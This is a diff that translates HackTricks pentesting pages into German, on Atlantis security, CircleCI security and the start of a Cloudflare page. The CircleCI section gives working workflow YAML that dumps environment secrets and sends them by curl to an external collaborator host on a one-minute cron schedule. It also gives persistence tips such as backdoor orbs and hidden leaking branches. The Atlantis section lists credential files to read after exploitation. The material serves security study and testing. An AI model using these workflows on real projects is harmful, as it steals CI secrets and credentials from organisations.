Bitbucket Cloud unterstützt **keine Webhook-Secrets**. Dies könnte Angreifern ermöglichen, **Anfragen von Bitbucket zu fälschen**. Stellen Sie sicher, dass Sie nur Bitbucket-IP-Adressen zulassen.
|
||||
|
||||
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
|
||||
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
|
||||
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
|
||||
- Das bedeutet, dass ein **Angreifer** **falsche Anfragen an Atlantis** stellen könnte, die so aussehen, als kämen sie von Bitbucket.
|
||||
- Wenn Sie `--repo-allowlist` angeben, könnten sie nur Anfragen zu diesen Repos fälschen, sodass der größte Schaden, den sie anrichten könnten, darin bestünde, auf Ihren eigenen Repos zu planen/anwenden.
|
||||
- Um dies zu verhindern, erlauben Sie nur [Bitbucket-IP-Adressen](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (siehe ausgehende IPv4-Adressen).
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
|
||||
Wenn Sie Zugriff auf den Server erhalten haben oder zumindest LFI haben, gibt es einige interessante Dinge, die Sie versuchen sollten zu lesen:
|
||||
|
||||
- `/home/atlantis/.git-credentials` Contains vcs access credentials
|
||||
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
|
||||
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Env variables
|
||||
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
|
||||
- `/home/atlantis/.git-credentials` Enthält VCS-Zugangsdaten
|
||||
- `/atlantis-data/atlantis.db` Enthält VCS-Zugangsdaten mit weiteren Informationen
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform-Zustandsdatei
|
||||
- Beispiel: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Umgebungsvariablen
|
||||
- `/proc/[2-20]/cmdline` Cmd-Zeile von `atlantis server` (kann sensible Daten enthalten)
|
||||
|
||||
### Mitigations
|
||||
|
||||
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
|
||||
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
|
||||
Da jeder auf öffentlichen Pull-Requests kommentieren kann, ist es selbst mit allen verfügbaren Sicherheitsmaßnahmen immer noch gefährlich, Atlantis auf öffentlichen Repos ohne ordnungsgemäße Konfiguration der Sicherheitseinstellungen auszuführen.
|
||||
|
||||
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
|
||||
Wenn Sie auf einem öffentlichen Repo (was nicht empfohlen wird, siehe oben) arbeiten, sollten Sie `--allow-fork-prs` (standardmäßig auf false) nicht setzen, da jeder einen Pull-Request von seinem Fork zu Ihrem Repo öffnen kann.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
|
||||
Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen es Webhooks über das `--repo-allowlist`-Flag akzeptiert. Zum Beispiel:
|
||||
|
||||
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
|
||||
- Bestimmte Repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Ihre gesamte Organisation: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Jedes Repository in Ihrer GitHub Enterprise-Installation: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- Alle Repositories: `--repo-allowlist=*`. Nützlich, wenn Sie sich in einem geschützten Netzwerk befinden, aber gefährlich, ohne auch ein Webhook-Secret festzulegen.
|
||||
|
||||
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
|
||||
Dieses Flag stellt sicher, dass Ihre Atlantis-Installation nicht mit Repositories verwendet wird, die Sie nicht kontrollieren. Siehe `atlantis server --help` für weitere Details.
|
||||
|
||||
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
|
||||
Wenn Angreifer Pull-Requests mit bösartigem Terraform-Code in Ihrem Bedrohungsmodell einreichen, müssen Sie sich bewusst sein, dass Genehmigungen für `terraform apply` nicht ausreichen. Es ist möglich, bösartigen Code in einem `terraform plan` auszuführen, indem die [`external` Datenquelle](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) verwendet oder ein bösartiger Anbieter angegeben wird. Dieser Code könnte dann Ihre Anmeldeinformationen exfiltrieren.
|
||||
|
||||
To prevent this, you could:
|
||||
Um dies zu verhindern, könnten Sie:
|
||||
|
||||
1. Bake providers into the Atlantis image or host and deny egress in production.
|
||||
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
|
||||
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
|
||||
1. Anbieter in das Atlantis-Image einbacken oder hosten und den Ausgang im Produktionsumfeld verweigern.
|
||||
2. Das Anbieter-Registry-Protokoll intern implementieren und öffentlichen Ausgang verweigern, sodass Sie kontrollieren, wer Schreibzugriff auf das Registry hat.
|
||||
3. Ihren [serverseitigen Repo-Konfigurations](https://www.runatlantis.io/docs/server-side-repo-config.html) `plan`-Schritt ändern, um gegen die Verwendung von nicht erlaubten Anbietern oder Datenquellen oder PRs von nicht erlaubten Benutzern zu validieren. Sie könnten auch an diesem Punkt zusätzliche Validierungen hinzufügen, z.B. ein "Daumen hoch" auf dem PR verlangen, bevor Sie den `plan` fortsetzen lassen. Conftest könnte hier nützlich sein.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
|
||||
Atlantis sollte mit Webhook-Secrets ausgeführt werden, die über die Umgebungsvariablen `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` festgelegt sind. Selbst mit dem gesetzten `--repo-allowlist`-Flag könnten Angreifer Anfragen an Atlantis stellen, die sich als ein erlaubtes Repository ausgeben. Webhook-Secrets stellen sicher, dass die Webhook-Anfragen tatsächlich von Ihrem VCS-Anbieter (GitHub oder GitLab) stammen.
|
||||
|
||||
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
|
||||
Wenn Sie Azure DevOps verwenden, fügen Sie anstelle von Webhook-Secrets einen grundlegenden Benutzernamen und ein Passwort hinzu.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
|
||||
Azure DevOps unterstützt das Senden eines grundlegenden Authentifizierungs-Headers in allen Webhook-Ereignissen. Dies erfordert die Verwendung einer HTTPS-URL für Ihren Webhook-Standort.
|
||||
|
||||
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
|
||||
|
||||
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
|
||||
Wenn Sie Webhook-Secrets verwenden, aber Ihr Datenverkehr über HTTP läuft, könnten die Webhook-Secrets gestohlen werden. Aktivieren Sie SSL/HTTPS mit den Flags `--ssl-cert-file` und `--ssl-key-file`.
|
||||
|
||||
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
|
||||
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
|
||||
Es wird dringend empfohlen, die Authentifizierung im Webdienst zu aktivieren. Aktivieren Sie BasicAuth mit `--web-basic-auth=true` und richten Sie einen Benutzernamen und ein Passwort mit den Flags `--web-username=yourUsername` und `--web-password=yourPassword` ein.
|
||||
|
||||
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
Sie können diese auch als Umgebungsvariablen übergeben: `ATLANTIS_WEB_BASIC_AUTH=true`, `ATLANTIS_WEB_USERNAME=yourUsername` und `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
|
||||
### References
|
||||
|
||||
@@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
|
||||
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,259 +1,235 @@
|
||||
# CircleCI Security
|
||||
# CircleCI-Sicherheit
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Grundinformationen
|
||||
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) ist eine Continuous Integration-Plattform, auf der Sie **Vorlagen definieren** können, die angeben, was Sie mit einem Code tun möchten und wann. Auf diese Weise können Sie **Tests** oder **Deployments** direkt **aus Ihrem Repo-Master-Branch** automatisieren.
|
||||
|
||||
### Permissions
|
||||
### Berechtigungen
|
||||
|
||||
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
|
||||
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
|
||||
**CircleCI** **erbt die Berechtigungen** von GitHub und Bitbucket, die mit dem **Konto** verbunden sind, das sich anmeldet.\
|
||||
In meinen Tests habe ich überprüft, dass Sie, solange Sie **Schreibberechtigungen für das Repo in GitHub** haben, in der Lage sind, **die Projekteinstellungen in CircleCI zu verwalten** (neue SSH-Schlüssel festzulegen, Projekt-API-Schlüssel zu erhalten, neue Branches mit neuen CircleCI-Konfigurationen zu erstellen...).
|
||||
|
||||
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
|
||||
Sie müssen jedoch ein **Repo-Administrator** sein, um das **Repo in ein CircleCI-Projekt umzuwandeln**.
|
||||
|
||||
### Env Variables & Secrets
|
||||
### Umgebungsvariablen & Geheimnisse
|
||||
|
||||
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
|
||||
Laut [**den Dokumenten**](https://circleci.com/docs/2.0/env-vars/) gibt es verschiedene Möglichkeiten, um **Werte in Umgebungsvariablen** innerhalb eines Workflows zu **laden**.
|
||||
|
||||
#### Built-in env variables
|
||||
#### Eingebaute Umgebungsvariablen
|
||||
|
||||
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
|
||||
Jeder von CircleCI ausgeführte Container hat immer [**spezifische Umgebungsvariablen, die in der Dokumentation definiert sind**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) wie `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` oder `CIRCLE_USERNAME`.
|
||||
|
||||
#### Clear text
|
||||
|
||||
You can declare them in clear text inside a **command**:
|
||||
#### Klartext
|
||||
|
||||
Sie können sie im Klartext innerhalb eines **Befehls** deklarieren:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **run environment**:
|
||||
|
||||
Sie können sie im Klartext innerhalb der **run environment** deklarieren:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **build-job environment**:
|
||||
|
||||
Sie können sie im Klartext innerhalb der **build-job Umgebung** deklarieren:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **environment of a container**:
|
||||
|
||||
Sie können sie im Klartext innerhalb der **Umgebung eines Containers** deklarieren:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
#### Projektgeheimnisse
|
||||
|
||||
#### Project Secrets
|
||||
|
||||
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
|
||||
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
Dies sind **Geheimnisse**, die nur vom **Projekt** (von **irgendeinem Branch**) **zugänglich** sind.\
|
||||
Sie können sie **deklariert in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_ sehen.
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
|
||||
> Die Funktionalität "**Variablen importieren**" ermöglicht es, **Variablen aus anderen Projekten** in dieses zu **importieren**.
|
||||
|
||||
#### Context Secrets
|
||||
#### Kontextgeheimnisse
|
||||
|
||||
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
|
||||
Dies sind Geheimnisse, die **organisationsweit** sind. Standardmäßig kann **jedes Repo** auf **jedes Geheimnis** zugreifen, das hier gespeichert ist:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
|
||||
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
|
||||
> Beachten Sie jedoch, dass eine andere Gruppe (anstatt aller Mitglieder) **ausgewählt werden kann, um den Zugriff auf die Geheimnisse nur bestimmten Personen zu gewähren**.\
|
||||
> Dies ist derzeit eine der besten Möglichkeiten, um die **Sicherheit der Geheimnisse** zu **erhöhen**, indem nicht jeder darauf zugreifen kann, sondern nur einige Personen.
|
||||
|
||||
### Attacks
|
||||
### Angriffe
|
||||
|
||||
#### Search Clear Text Secrets
|
||||
#### Suche nach Klartextgeheimnissen
|
||||
|
||||
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
|
||||
Wenn Sie **Zugriff auf das VCS** (wie GitHub) haben, überprüfen Sie die Datei `.circleci/config.yml` von **jedem Repo in jedem Branch** und **suchen** Sie nach potenziellen **Klartextgeheimnissen**, die dort gespeichert sind.
|
||||
|
||||
#### Secret Env Vars & Context enumeration
|
||||
#### Geheim-Umgebungsvariablen & Kontextenumeration
|
||||
|
||||
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
Durch Überprüfung des Codes können Sie **alle Geheimnisnamen** finden, die in jeder `.circleci/config.yml`-Datei **verwendet** werden. Sie können auch die **Kontextnamen** aus diesen Dateien abrufen oder sie in der Webkonsole überprüfen: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
|
||||
#### Exfiltrate Project secrets
|
||||
#### Exfiltrieren von Projektgeheimnissen
|
||||
|
||||
> [!WARNING]
|
||||
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
|
||||
> Um **ALLE** Projekt- und Kontext-**GEHEIMNISSE** zu **exfiltrieren**, müssen Sie **nur** **SCHREIBZUGRIFF** auf **nur 1 Repo** in der gesamten GitHub-Organisation haben (_und Ihr Konto muss Zugriff auf die Kontexte haben, aber standardmäßig kann jeder auf jeden Kontext zugreifen_).
|
||||
|
||||
> [!CAUTION]
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
|
||||
|
||||
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
|
||||
> Die Funktionalität "**Variablen importieren**" ermöglicht es, **Variablen aus anderen Projekten** in dieses zu **importieren**. Daher könnte ein Angreifer **alle Projektvariablen aus allen Repos importieren** und dann **alle zusammen exfiltrieren**.
|
||||
|
||||
Alle Projektgeheimnisse sind immer in der Umgebung der Jobs gesetzt, sodass das einfache Aufrufen von env und das Obfuskieren in base64 die Geheimnisse in der **Webprotokollkonsole der Workflows** exfiltriert:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
Wenn Sie **keinen Zugriff auf die Webkonsole** haben, aber **Zugriff auf das Repository** haben und wissen, dass CircleCI verwendet wird, können Sie einfach **einen Workflow erstellen**, der **jede Minute ausgelöst wird** und der **die Geheimnisse an eine externe Adresse exfiltriert**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
#### Exfiltriere Kontextgeheimnisse
|
||||
|
||||
#### Exfiltrate Context Secrets
|
||||
|
||||
You need to **specify the context name** (this will also exfiltrate the project secrets):
|
||||
|
||||
Du musst **den Kontextnamen angeben** (dies wird auch die Projektgeheimnisse exfiltrieren):
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
Wenn Sie **keinen Zugriff auf die Webkonsole** haben, aber **Zugriff auf das Repository** haben und wissen, dass CircleCI verwendet wird, können Sie einfach **einen Workflow ändern**, der **jede Minute ausgelöst wird** und der **die Geheimnisse an eine externe Adresse exfiltriert**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
|
||||
> Das Erstellen einer neuen `.circleci/config.yml` in einem Repo **reicht nicht aus, um einen CircleCI-Build auszulösen**. Sie müssen **es als Projekt in der CircleCI-Konsole aktivieren**.
|
||||
|
||||
#### Escape to Cloud
|
||||
|
||||
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
|
||||
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
|
||||
|
||||
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
|
||||
**CircleCI** gibt Ihnen die Möglichkeit, **Ihre Builds auf ihren Maschinen oder auf Ihren eigenen auszuführen**.\
|
||||
Standardmäßig befinden sich ihre Maschinen in GCP, und anfangs werden Sie nichts Relevantes finden können. Wenn ein Opfer jedoch die Aufgaben auf **seinen eigenen Maschinen (möglicherweise in einer Cloud-Umgebung)** ausführt, könnten Sie einen **Cloud-Metadaten-Endpunkt mit interessanten Informationen darauf** finden.
|
||||
|
||||
Beachten Sie, dass in den vorherigen Beispielen alles innerhalb eines Docker-Containers gestartet wurde, aber Sie können auch **bitten, eine VM-Maschine zu starten** (die möglicherweise unterschiedliche Cloud-Berechtigungen hat):
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
```
|
||||
|
||||
Or even a docker container with access to a remote docker service:
|
||||
|
||||
Oder sogar einen Docker-Container mit Zugriff auf einen Remote-Docker-Dienst:
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
```
|
||||
#### Persistenz
|
||||
|
||||
#### Persistence
|
||||
|
||||
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- It's possible to **add SSH keys** to the projects.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
|
||||
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
|
||||
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
|
||||
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
|
||||
- Es ist möglich, **Benutzertoken in CircleCI** zu erstellen, um auf die API-Endpunkte mit dem Zugriff des Benutzers zuzugreifen.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- Es ist möglich, **Projekttoken** zu erstellen, um auf das Projekt mit den dem Token gegebenen Berechtigungen zuzugreifen.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- Es ist möglich, **SSH-Schlüssel** zu den Projekten hinzuzufügen.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- Es ist möglich, **einen Cron-Job in einem versteckten Branch** in einem unerwarteten Projekt zu erstellen, der jeden Tag alle **Kontext-Umgebungsvariablen** **leakt**.
|
||||
- Oder sogar in einem Branch zu erstellen / einen bekannten Job zu modifizieren, der jeden Tag alle Kontext- und **Projektgeheimnisse** **leakt**.
|
||||
- Wenn Sie ein GitHub-Besitzer sind, können Sie **unverifizierte Orbs** zulassen und einen in einem Job als **Hintertür** konfigurieren.
|
||||
- Sie können eine **Befehlsinjektionsanfälligkeit** in einer bestimmten Aufgabe finden und **Befehle** über ein **Geheimnis** injizieren, indem Sie dessen Wert ändern.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,77 +1,77 @@
|
||||
# Cloudflare Security
|
||||
# Cloudflare-Sicherheit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
In einem Cloudflare-Konto gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jedes Abschnitts **analysieren:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websites
|
||||
|
||||
Review each with:
|
||||
Überprüfen Sie jede mit:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
